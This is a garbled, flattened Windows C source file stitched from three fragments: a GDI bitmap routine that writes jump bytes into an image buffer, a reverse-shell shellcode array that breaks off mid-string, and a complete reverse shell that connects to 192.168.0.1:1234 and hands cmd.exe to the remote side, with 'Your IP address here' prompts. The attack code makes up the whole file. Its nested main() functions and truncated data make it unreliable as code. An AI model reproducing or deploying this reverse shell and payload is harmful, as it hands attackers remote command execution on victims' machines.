#include #include #include #include #pragma comment(lib,"ws2_32") int main() { HBITMAP hBitmap; HDC hdcMem; LPVOID pvScan0; BITMAPINFO bmi = { sizeof(BITMAPINFOHEADER), 0, 0, 1, 32, BI_RGB }; BYTE bJmp[6] = { 0xEB, 0x06, 0x90, 0x90, 0x90, 0x90 }; hBitmap = CreateBitmap(1, 1, 1, 32, NULL); hdcMem = CreateCompatibleDC(NULL); SelectObject(hdcMem, hBitmap); GetDIBits(hdcMem, hBitmap, 0, 0, NULL, &bmi, DIB_RGB_COLORS); pvScan0 = VirtualAlloc(NULL, bmi.bmiHeader.biSizeImage, MEM_COMMIT, PAGE_READWRITE); bmi.bmiHeader.biCompression = BI_JPEG; memcpy((PBYTE)pvScan0 + bmi.bmiHeader.biSizeImage - 6, bJmp, 6); SetDIBits(hdcMem, hBitmap, 0, 1, pvScan0, &bmi, DIB_RGB_COLORS); int main(int argc, char** argv) { WSADATA wsaData; SOCKET s; SOCKADDR_IN server; STARTUPINFO sInfo; PROCESS_INFORMATION pInfo; // Reverse shell payload char* shellcode = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4b\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5\x49\xbc\x02\x00\x1f\x90\xc0\xa8\x00\x66\x41\x54\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff\xd5\x6a\x02\x59\x50\x50\x4d\x31\xc9\x int main() { // Setup reverse shell payload WSADATA wsaData; SOCKET Winsock; sockaddr_in addr; STARTUPINFOA sInfo; PROCESS_INFORMATION pInfo; WSAStartup(MAKEWORD(2, 2), &wsaData); Winsock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, NULL, NULL); addr.sin_family = AF_INET; addr.sin_addr.s_addr = inet_addr("192.168.0.1"); // Your IP address here addr.sin_port = htons(1234); // Your listening port here WSAConnect(Winsock, (SOCKADDR*)&addr, sizeof(addr), NULL, NULL, NULL, NULL); memset(&sInfo, 0, sizeof(sInfo)); sInfo.cb = sizeof(sInfo); sInfo.dwFlags = (STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW); sInfo.hStdInput = sInfo.hStdOutput = sInfo.hStdError = (HANDLE)Winsock; char* szCmdline = "cmd.exe"; // Command line to execute CreateProcessA(NULL, szCmdline, NULL, NULL, TRUE, 0, NULL, NULL, &sInfo, &pInfo); return 0; }